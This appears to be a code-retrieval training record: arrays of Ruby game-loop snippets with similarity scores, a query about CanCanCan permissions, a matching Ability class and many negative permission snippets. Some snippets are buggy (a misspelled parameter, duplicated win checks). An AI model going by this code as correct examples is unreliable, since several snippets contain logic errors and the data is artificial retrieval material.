"def run\n puts \"Welcome to Command-Line-Chess!\"\n @players = set_players\n\n winner = play_game\n \n print_board\n puts \"Congratulations #{winner.name}! You have won the game.\"\n end",
"def win(boord)\n if board[0] == 'X' && board[0] == 'X'\n end\n\n\n def display_board\n puts\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]}\"\n puts \"-\" * 11\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]}\"\n puts \"-\" * 11\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]}\"\n puts\n end\n\n def one_player_game\n turn = rand(1)\n available_turns = 9\n while available_turns > 0\n display_board\n if turn % 2 == 1\n puts \"Player 1, please pick a square from 1 to 9\"\n p1 = gets.chomp.to_i\n if @board[p1-1] == \" \"\n @board[p1-1] = \"X\"\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n else\n p2 = rand(9)\n if @board[p2-1] == \" \"\n @board.delete_at(p2-1)\n @board.insert(p2-1, \"O\")\n puts \"Computer player chooses square #{p2}\"\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n end\n end\n end_game\n end\n\n def two_player_game\n turn = rand(1)\n available_turns = 9\n while available_turns > 0 && win == \"no\"\n display_board\n if turn % 2 == 1\n puts \"Player 1, please pick a square from 1 to 9\"\n p1 = gets.chomp.to_i\n if @board[p1-1] == \" \"\n @board.delete_at(p1-1)\n @board.insert(p1 - 1, \"X\")\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n else\n puts \"Player 2, please pick a square from 1 to 9\"\n p2 = gets.chomp.to_i\n if @board[p2-1] == \" \"\n @board.delete_at(p2-1)\n @board.insert(p2-1, \"O\")\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n end\n end\n end_game\n end\n\n def start_game\n available_turns = 9\n while available_turns == 9\n puts\n puts \"*\" * 36\n puts \"Are you ready for some Tic-Tac-Toe?!\"\n puts \"*\" * 36\n puts\n input = gets.chomp.downcase\n if input == \"yes\"\n puts\n puts \"*\" * 36\n puts \"One player or two?\"\n puts \"*\" * 36\n puts\n player_num = gets.chomp.downcase\n if player_num == \"one\"\n one_player_game\n else\n two_player_game\n end\n else\n puts \"Your loss, buddy!\"\n exit!\n end\n end\n end\nend",
"def game_board\n puts \" 1 | 2 | 3 \"\n puts \"___________\"\n puts \" 4 | 5 | 6 \"\n puts \"___________\"\n puts \" 7 | 8 | 9 \"\nend",
"def win_game(board)\n final_board = \" #{board[0]} | #{board[1]} | #{board[2]}\\n-----------\\n #{board[3]} | #{board[4]} | #{board[5]}\\n-----------\\n #{board[6]} | #{board[7]} | #{board[8]}\"\n if board[0] == board[1] && board[1] == board[2]\n puts final_board\n puts \"CONGRATULATIONS #{board[0]} WINS\"\n exit\n elsif board[3] == board[4] && board[4] == board[5]\n puts final_board\n puts \"CONGRATULATIONS #{board[3]} WINS\"\n exit\n elsif board[6] == board[7] && board[7] == board[8]\n puts final_board\n puts \"CONGRATULATIONS #{board[6]} WINS\"\n exit \n elsif board[0] == board[3] && board[3] == board[6]\n puts final_board\n puts \"CONGRATULATIONS #{board[0]} WINS\"\n exit \n elsif board[1] == board[4] && board[4] == board[7]\n puts final_board\n puts \"CONGRATULATIONS #{board[1]} WINS\"\n exit \n elsif board[2] == board[5] && board[5] == board[8]\n puts final_board\n puts \"CONGRATULATIONS #{board[2]} WINS\"\n exit\n elsif board[0] == board[4] && board[4] == board[8]\n puts final_board\n puts \"CONGRATULATIONS #{board[0]} WINS\"\n exit\n elsif board[0] == board[4] && board[4] == board[8]\n puts final_board\n puts \"CONGRATULATIONS #{board[0]} WINS\"\n exit\n elsif board[2] == board[4] && board[4] == board[6]\n puts final_board\n puts \"CONGRATULATIONS #{board[2]} WINS\"\n exit \n end\nend",
"def evaluate_game(game_board)\n game_finished = false\n for i in 0..5\n \n if game_finished == true\n break\n end\n \n #Vertical and Horizontal evaluation to see if 4 are connected\n for j in 0..3\n if (game_board[i+1][j] == game_board[i+1][j+1]) && (game_board[i+1][j]==game_board[i+1][j+2]) && (game_board[i+1][j]==game_board[i+1][j+3])&&(game_board[i+1][j]==\"X\"||game_board[i+1][j]==\"O\") #rows\n puts \"User \" + game_board[i+1][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n for i in 0..6\n for j in 0..2 #columns\n if (game_board[j+1][i] == game_board[j+2][i]) && (game_board[j+1][i] == game_board[j+3][i])&&(game_board[j+1][i] == game_board[j+4][i])&&((game_board[j+1][i] == \"X\")||(game_board[j+1][i] == \"O\")) #columns\n puts \"User \" + game_board[j+1][i].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n end\n \n #Evaluate if Diagonals have 4 connected\n for i in 1..6 #rows\n \n if game_finished == true\n break\n end\n \n for j in 0..6 #columns\n \n \n if (j<=3) #if it has 4 spaces to the right\n if (i>=4)#if it has 4 spaces up\n if(game_board[i][j]==game_board[i-1][j+1])&&(game_board[i][j]==game_board[i-2][j+2])&&(game_board[i][j]==game_board[i-3][j+3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n if (i<=3)#if it has 4 spaces down\n #Evalaution\n if(game_board[i][j]==game_board[i+1][j+1])&&(game_board[i][j]==game_board[i+2][j+2])&&(game_board[i][j]==game_board[i+3][j+3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n \n if (j>3) #if it has 4 spaces to the left\n if (i>=4)#if it has 4 spaces up\n if(game_board[i][j]==game_board[i-1][j-1])&&(game_board[i][j]==game_board[i-2][j-2])&&(game_board[i][j]==game_board[i-3][j-3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n if (i<4) #if it has 4 spaces down\n #puts(\"Llega a segundo if<4\")\n if(game_board[i][j]==game_board[i+1][j-1])&&(game_board[i][j]==game_board[i+2][j-2])&&(game_board[i][j]==game_board[i+3][j-3])&&((game_board[i][j] == \"X\")||(game_board[i][j] == \"O\"))\n puts \"User \" + game_board[i][j].to_s + \" wins\"\n game_finished = true\n break\n end\n end\n \n end\n \n end\n end\n \n return game_finished\n \nend",
"def take_turn\n valid_cells(@opponent_board).sample\n end",
"def run\n until self.board.over?\n play_turn\n end\n\n if self.board.won?\n winning_player = self.players[self.board.winner]\n puts \"#{winning_player.name} won the game!\"\n else\n puts \"No one wins!\"\n end\n end",
"def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end",
"def display_board (game)\n puts \" #{game[0]} | #{game[1]} | #{game[2]} \"\n puts \"-----------\"\n puts \" #{game[3]} | #{game[4]} | #{game[5]} \"\n puts \"-----------\"\n puts \" #{game[6]} | #{game[7]} | #{game[8]} \"\nend",
"def game_loop\n puts @game.to_s\n puts \"It is #{current_player()}'s turn.\"\n move = receive_move()\n from = move.first #something like A2\n to = move.last #something like B3\n is_valid = @game.is_valid?(from, to, @turn_num) #can the current player move a piece from->to?\n until is_valid\n move = receive_move()\n from = move.first\n to = move.last\n piece = @game.piece_at(from) #what is the current piece?\n puts \"You have selected a #{piece.type.to_s.upcase} at #{from} to move to #{to}.\"\n is_valid = @game.is_valid?(from, to, @turn_num)\n puts \"Sorry. not a legal move. please choose again.\" unless is_valid\n end\n puts \"Moving from #{from} to #{to}.\"\n @game.make_move(from, to)\n puts @game.to_s\n nil\n end",
"def run\n until game_over?\n # Get the next move from the player and update the game state.\n @board.play(get_valid_move,@players[0].sign)\n increment_turn\n end\n if(w = @board.win?)\n puts \"Game over #{w} wins!\"\n else\n puts \"Cat's game.\"\n end\n end",
"def round(starting, following)\n puts (\"Ready to play ? Press entrer to begin the game\").red\n gets.chomp\n @board = Board.new\n while is_over? != true\n tour(starting, following)\n end\n return ending\n puts\n end",
"def display_game_board(player)\r\n \r\n move = \"\" #Assign a default value\r\n \r\n loop do #Loop forever\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Display the game board\r\n puts \"\\t\\t\\tWelcome to the Ruby Tic-Tac-Toe Game! \" +\r\n \"\\n\\n\\n\\n\"\r\n puts \"\\t\\t\\t 1 2 3\\n\" \r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t A #{$A1} | #{$A2} | #{$A3}\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t ---------------------\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t B #{$B1} | #{$B2} | #{$B3}\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t ---------------------\"\r\n puts \"\\t\\t\\t | |\"\r\n puts \"\\t\\t\\t C #{$C1} | #{$C2} | #{$C3}\"\r\n puts \"\\t\\t\\t | |\"\r\n \r\n #Prompt the player to enter a move\r\n print \"\\n\\n\\n\\n\\nPlayer \" + player + \"'s turn. \" +\r\n \"Please enter your move: \"\r\n \r\n move = STDIN.gets #Collect the player's move\r\n move.chop! #Remove the end of line marker\r\n move = move.upcase #Convert to uppercase\r\n\r\n #user enters \"H\" as hidden cheat to display statistics\r\n if move == \"H\"\r\n puts display_statistics\r\n end\r\n\r\n #user enters \"M\" to load wikipedia instructions page\r\n if move == \"M\"\r\n puts display_wikipedia\r\n end\r\n\r\n #Terminate the loop if a valid move was entered\r\n if move.length == 2 then #Must be at 2 character long\r\n if move =~ /[A-C][1-3]/i #Must be A1, A2, A3, B1, \r\n #B2, B3, C1, C2, or C3\r\n #Call method responsible for determining if the \r\n #board square was available \r\n validMove = validate_player_move(move) \r\n if validMove == true #The move was valid \r\n break #Terminate the execution of the loop\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n else\r\n #display_error method\r\n display_error\r\n end\r\n\r\n end\r\n \r\n return move #Return the player's move back to the\r\n #calling statement\r\n \r\n end",
"def play(board)\n while !over?(board) #while CONDITION == TRUE do something, else stop\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board) \r\n while over?(board) == false\r\n turn(board)\r\n end\r\n if winner(board) == \"X\"\r\n puts \"Congratulations X!\"\r\n elsif winner(board) == \"O\"\r\n puts \"Congratulations O!\"\r\n else\r\n puts \"Cat's Game!\"\r\n end\r\nend",
"def play(from, to)\n\n pieces = self.board.split(\",\").map{|s| s.to_i}\n\n # correct turn?\n return nil unless self.turn == Game.get_color(pieces[from - 1])\n \n # check if there is piece at from\n return nil if pieces[from - 1] == 0\n # check if destination is empty\n return nil unless pieces[to - 1] == 0\n\n # Move and jump return nil on failure and array of board \n # resulted from the move\n result = move(from, to) || jump(from, to)\n end",
"def move(board)\n end",
"def play(board)\n count = 0\n while count < 9\n turn(board)\n count += 1\n end\nend",
"def turn\n victory = false\n while victory == false do\n player_place\n @board.show_board\n end\n end",
"def play\r\n self.display_board\r\n while !self.over? do\r\n self.turn\r\n end\r\n if self.draw? \r\n puts \"Cat's Game!\"\r\n else\r\n puts \"Congratulations #{self.winner}!\"\r\n end\r\n end",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n # binding.pry\n\n if won?(board)\n winner = winner(board)\n puts \"Congratulations #{winner}!\"\n elsif draw?(board)\n # binding.pry\n puts \"Cat's Game!\"\n end\n\nend",
"def play(board)\n counter=1\n while counter<=9\n turn(board)\n counter+=1\n end\nend",
"def ticTacToe\n puts \"TIC TAC TOE\"\n players = [1,2]\n game = Game.new\n game.displayBoard\n puts \"Player 1 = X, Player 2 = O\"\n puts \"To place your mark, input \\'(x,y)\\' on your turn\"\n until game.endGame do\n players.each do |playerNum|\n game.playerMove(playerNum)\n break if game.endGame\n end\nend\n\nend",
"def move(board)\nend",
"def play\n welcome\n loop do\n #lines 17-19 are my favorite\n until @game_board.drop_token(@current_player.get_move_column,@current_player.game_token) do \n puts \"Column full! Please choose another column!\"\n binding.pry\n print \">\"\n end\n @game_board.board_render\n swap_players\n end\n end",
"def play(board)\n #input = gets.strip\n until over?(board)\n \tturn(board)\n if won?(board)\n \tputs \"Congratulations #{winner(board)}!\"\n end\n if draw?(board)\n\tputs \"Cats Game!\"\n end\n end\n\nend",
"def run_game\n if !@board.game_over? and @running\n @timer.stop\n @timer.start(@board.delay, (lambda {|x| @board.run; run_game}))\n end\n end",
"def play_game\n puts \"Welcome to Tic Tac Toe (#{@dim} x #{@dim})!\"\n catch :game_end do\n while(moves)\n print_board\n @players.each do |player|\n # p moves\n square_number = player.move(moves)\n set_move(player, square_number)\n # Checks if player just won with their last move\n if(won?(player, square_number))\n print_board\n display_win_message(player)\n throw :game_end\n end\n end\n end\n puts \"Amazing, a tie game!\"\n throw :game_end\n end\n\n print \"Do you want to play again? [y/n] \"\n answer = gets.chomp\n if(answer[0] == \"y\" || answer[0] == \"Y\")\n clear_board\n print_board\n play_game\n else\n puts \"Bye!\"\n end\n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if token = winner(board)\n puts \"Congratulations #{token}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n while !over?(board) && !won?(board) && !draw?(board) # if the game isnt over\n turn(board) # play another turn\n end\n\n# if the game is over\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n end\n\n# if its a draw\n if draw?(board)\n puts \"Cat's Game!\"\n end\n\nend"
] |
[
"0.78039986",
"0.76778656",
"0.75027573",
"0.7498674",
"0.74959946",
"0.7485639",
"0.7485639",
"0.747795",
"0.7446707",
"0.74437356",
"0.744361",
"0.7435798",
"0.74167246",
"0.74055755",
"0.7405206",
"0.7396052",
"0.739569",
"0.7395227",
"0.73900783",
"0.7388644",
"0.73740923",
"0.7366858",
"0.73566973",
"0.73562425",
"0.73494136",
"0.7347751",
"0.7338003",
"0.7336448",
"0.73332447",
"0.73094827",
"0.7306162",
"0.7305462",
"0.7295905",
"0.72927564",
"0.7291128",
"0.7287054",
"0.7286387",
"0.7279805",
"0.72782296",
"0.72777456",
"0.727746",
"0.7269623",
"0.72677124",
"0.7258531",
"0.7258456",
"0.7257322",
"0.7257171",
"0.72509253",
"0.7250769",
"0.7249031",
"0.7247593",
"0.72465456",
"0.7231399",
"0.7229117",
"0.72253466",
"0.7222889",
"0.7221237",
"0.72185224",
"0.7216705",
"0.7215773",
"0.72070795",
"0.71972394",
"0.7197011",
"0.7196668",
"0.71949404",
"0.719476",
"0.7194734",
"0.7182063",
"0.7169842",
"0.7167391",
"0.7166782",
"0.7149976",
"0.71480167",
"0.7146601",
"0.7135675",
"0.71315926",
"0.71278536",
"0.7125406",
"0.7123783",
"0.71198374",
"0.71129894",
"0.71072966",
"0.71046555",
"0.70940626",
"0.70855224",
"0.70840144",
"0.70789975",
"0.70774317",
"0.70759577",
"0.70729476",
"0.7066288",
"0.70605004",
"0.70568866",
"0.70461243",
"0.7045824",
"0.7034846",
"0.70322216",
"0.7027142",
"0.7024231",
"0.7022519"
] |
0.7243143
|
52
|
Follows CanCanCan best practices for granting permissions.
|
def initialize(user)
return unless user.persisted?
if user.class == AdminUser
return unless user.role&.board_accessible?
can :read, ActiveAdmin::Page, name: 'Dashboard', namespace_name: 'admin'
can :read, CodeSchool
can :read, Location
can :read, Service
can :read, TeamMember
can :read, User
can [:read, :update], AdminUser, id: user.id
return unless user.role&.admin_accessible?
can :read, :all
can :manage, CodeSchool
can :manage, Location
can :manage, Service
can :manage, TeamMember
return unless user.role&.super_admin?
can :manage, :all
else
return unless user.mentor?
can :read, Request
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def can?(*args)\n permissions.can?(*args)\n end",
"def custom_permissions\n if current_user.admin?\n can :manage, :all\n end\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def custom_permissions\n can [:create], Account\n end",
"def custom_permissions\n can [:create], Account\n end",
"def handle_grant_permission\n return if cbac_permission_exists?\n\n permission = Cbac::Permission.new\n permission.privilege_set = privilege_set\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission.context_role = pristine_role.name\n else\n generic_role = Cbac::GenericRole.where(name: pristine_role.name).first\n permission.generic_role = generic_role || Cbac::GenericRole.where(name: pristine_role.name, remarks: \"Autogenerated by Cbac loading / upgrade system\").create\n end\n\n register_change if permission.save\n permission\n end",
"def admin_permissions\n can [:manage], :all\n end",
"def admin_permissions\n can [:manage], :all\n end",
"def custom_permissions # rubocop:disable Metrics/CyclomaticComplexity\n can :read, ApplicationPresenter, &:can_read?\n can :read, UsersPresenter, &:can_read?\n can :read, UserPresenter, &:can_read?\n can :read, RolesPresenter, &:can_read?\n can :read, RolePresenter, &:can_read?\n\n can :read, Press\n\n grant_press_analyst_abiltites if press_analyst?\n grant_press_editor_abilities if press_editor?\n grant_press_admin_abilities if platform_admin? || press_admin?\n grant_platform_admin_abilities if platform_admin?\n end",
"def load_permissions\n authorize! :manage, :all\n end",
"def can_grant_permissions?\n perms.include? Perm.grant_permissions\n end",
"def can_grant_permissions?\n perms.include? Perm.grant_permissions\n end",
"def administrator\n can :manage, :all\n end",
"def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def can_do_member_scoped_actions\n can :show, :all\n can :edit, :all\n can :destroy, :all\n can :history, :all\n can :show_in_app, :all\n can :clone, :all\n # can :nested_set, :all\n can :nestable, :all\n can :change_state, :all\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def custom_permissions\n can [:file_status, :stage, :unstage], FileSet\n\n if current_user.ingest_from_external_sources?\n end\n\n if current_user.manage_users?\n can [:show, :add_user, :remove_user, :index], Role\n end\n\n if current_user.manage_roles?\n can [:create, :show, :index, :edit, :update, :destroy], Role\n end\n\n if current_user.run_fixity_checks?\n can [:fixity], FileSet\n end\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def custom_permissions\n #Collection Manager Permissions\n #Higher power than edit user...[Dont want edit users to be able to DELETE a COLLECTION??, (Delete a DO?)]\n if current_user.applicable_policy?(SETTING_POLICY_COLLECTION_MANAGER)\n #Marked as being able to :manage_collection\n can :manage_collection_flag, :all\n can :create, [DRI::Batch, DRI::GenericFile]\n end\n\n\n #Admin Permissions\n if current_user.applicable_policy?(SETTING_POLICY_ADMIN)\n can :admin_flag, :all\n #Disabled for now..\n can :manage, :all\n end\n\n #Create_do flag (alias for :edit collection)\n can :create_do, String do |pid|\n test_create(pid)\n end\n\n can :create_do, DRI::Batch do |collection|\n test_create(collection)\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n# if current_user.contentadmin?\n# can [:create, :destroy], GwWork\n# can [:create, :destroy], GwEtd\n# end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n # Admin user can create works of all work types\n can :create, curation_concerns_models\n end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def check_permissions\n authorize! :create, Employee\n end",
"def custom_permissions\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n can [:create], Collection\n can [:discover], Hydra::AccessControls::Embargo\n can [:discover], Hydra::AccessControls::Lease\n can [:create], [ CurationConcerns.config.curation_concerns ]\n can [:destroy], ActiveFedora::Base\n can [:permissions], [ CurationConcerns.config.curation_concerns ]\n end\n\n # Limits deleting objects to a the admin user\n #\n #if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n #end\n\n if current_user.has_role?('collection.manager')\n # can [:create, :show, :index, :edit, :update, :destroy], Collection\n can [:create], Collection\n end\n\n if current_user.has_role?('collection.depositor') or current_user.has_group_role?('collection.depositor')\n # can [:create, :show, :index, :edit, :update, :destroy], [ CurationConcerns.configuration.curation_concerns ]\n can [:create], [ CurationConcerns.config.curation_concerns ]\n # can [:show], Collection\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def check_permissions\n authorize! :create, Receiver\n end",
"def check_permissions\n authorize! :create, CargoManifest\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role if current_user.admin?\n\n can [:fa_overview], ActiveFedora::Base\n can [:advanced], ActiveFedora::Base\n can [:streets], ActiveFedora::Base\n can [:pdf_page], ActiveFedora::Base\n can [:pdf_page_metadata], ActiveFedora::Base\n can [:bookreader], ActiveFedora::Base\n can [:imageviewer], ActiveFedora::Base\n can [:streetsviewer], ActiveFedora::Base\n can [:fa_series], ActiveFedora::Base\n can [:audio_transcriptonly], ActiveFedora::Base\n can [:video_transcriptonly], ActiveFedora::Base\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n if current_user.admin?\n # Role management\n # don't allow :destroy, :edit, :create\n # - destroy adds a 'delete' button that\n # - could be clicked accidentally\n # - would be very infrequently used (if ever)\n # - implications of edit are unclear for associated actions\n # - create is meaningless without associating actions which happens in code.\n can [:read, :add_user, :remove_user], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def create_permissions\n # initial_step is a controller action on some resources for creation...\n if user_groups.include?(HYHULL_USER_GROUPS[:content_creator]) || \n user_groups.include?(HYHULL_USER_GROUPS[:content_access_team]) || \n @current_user.admin?\n can [:initial_step, :create], :all\n end\n\n end",
"def authorize_user!\n \n unless can?(:manage, @question)\n flash[:alert] = \"Access denied!\"\n redirect_to root_path\n end\n end",
"def grant_permissions( force_reload = false )\n permissions( force_reload ).select( &:is_grant? )\n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def grant_system_admin_privileges(user)\n can :manage, AccountPlan\n end",
"def create?\n @current_user.permission('Bid', :clerk)\n end",
"def can?(permission)\n permissions.include?(permission.to_s) || super_admin?\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def permission_required(*permissions)\n # if no permissions passed use controller level permissions (filter)\n if permissions.size > 0\n return true if user_permitted?(*permissions)\n # redirect to desired location when user does not have permission\n redirect_to :controller => 'main', :action => 'main' \n return\n\tend\n end",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def create_access_check\n permission_check('create')\n end",
"def authorize_admin!\n authorize! :manage, :all\n end",
"def can_site_admin\n can :manage, :all\n end",
"def can(*actions, target, &condition)\n perm = Permissions.new(*actions, &condition)\n @permissions[target].push perm\n end",
"def can?(controller, action, *args)\n return true if has_role?(\"super_admin\")\n @_permissions ||= roles.inject([]){ |all, role| all + role.permissions.to_a }\n \n @_permissions.detect do |permission|\n\tpermission.controller == controller.underscore && (permission.action == 'manage_all' || permission.action == action.downcase)\n end ? true : false\n end",
"def admin\n can :manage, :all\n end",
"def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end",
"def authorize (permission_name)\n self.allowances.detect {|a| a.permission.name == permission_name.to_s}\n end",
"def manager_permissions\n can :manage_collection, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage_collection, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage_collection, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n\n can :manage, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n end",
"def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end",
"def admin\n\t\tcan :manage, :all\n\tend",
"def authorize!\n Ability.allowed?(context[:current_user], :read_milestone, parent) || raise_resource_not_available_error!\n end",
"def permitted_to? (privilege, options = {}, &block)\n options = {\n :user => Authorization.current_user,\n :object => self\n }.merge(options)\n Authorization::Engine.instance.permit?(privilege,\n {:user => options[:user],\n :object => options[:object]},\n &block)\n end",
"def has_permission?\n return true if administrator?\n \n # Load the Model based on the controller name\n klass = self.controller_name.classify.constantize\n \n # Load the possible parent requested\n @parents = (klass.has_parent?) ? get_parents_from_request_params(klass, params) : nil\n \n # Load the resource requested\n if params[:id]\n if [\"index\", \"destroy\", \"update\"].include?(params[:action]) && klass.respond_to?(:in_set)\n @resource = klass.in_set(params[:id])\n @resource = @resource.first if @resource.size == 1\n else\n @resource = klass.find(params[:id])\n end\n end\n \n # Let's let the Model decide what is acceptable\n # NOTE: It is still the concrete controller's job to filter inaccessible resources (accessed via the index)!\n # This presumably happens in the with_parent named scope\n \n authorized = case params[:action]\n when \"edit\", \"update\"\n if !@resource.is_a?(Array)\n return @resource.updatable_by?(current_user, @parents) # this is 'returned' to authorized\n end\n \n verify_set_accessablility(@resource, :updatable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for update.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"destroy\" \n if !@resource.is_a?(Array)\n return @resource.deletable_by?(current_user, @parents)\n end\n \n verify_set_accessablility(@resource, :deletable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for deletion.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"index\" then klass.indexable_by?(current_user, @parents)\n when \"new\", \"create\" then klass.creatable_by?(current_user, @parents)\n when \"show\" then @resource.readable_by?(current_user, @parents)\n else check_non_restful_route(current_user, klass, @resource, @parents)\n end\n \n permission_denied unless authorized\n \n #rescue NoMethodError => e\n # Misconfiguration: A RESTful_ACL specific method is missing.\n #raise_error(klass, e)\n #rescue\n # Failsafe: If any funny business is going on, log and redirect\n #routing_error\n #end\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def require_other_permission\n respond_to_permission_error\n end",
"def check_permissions\n authorize! :create, Product\n end",
"def check_permissions\n authorize! :create, RoutingSheet\n end",
"def enforce_permissions\n bounce unless is_admin?\n end",
"def super_admin(user)\n can :manage, :all\n end",
"def can?\n current_user\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
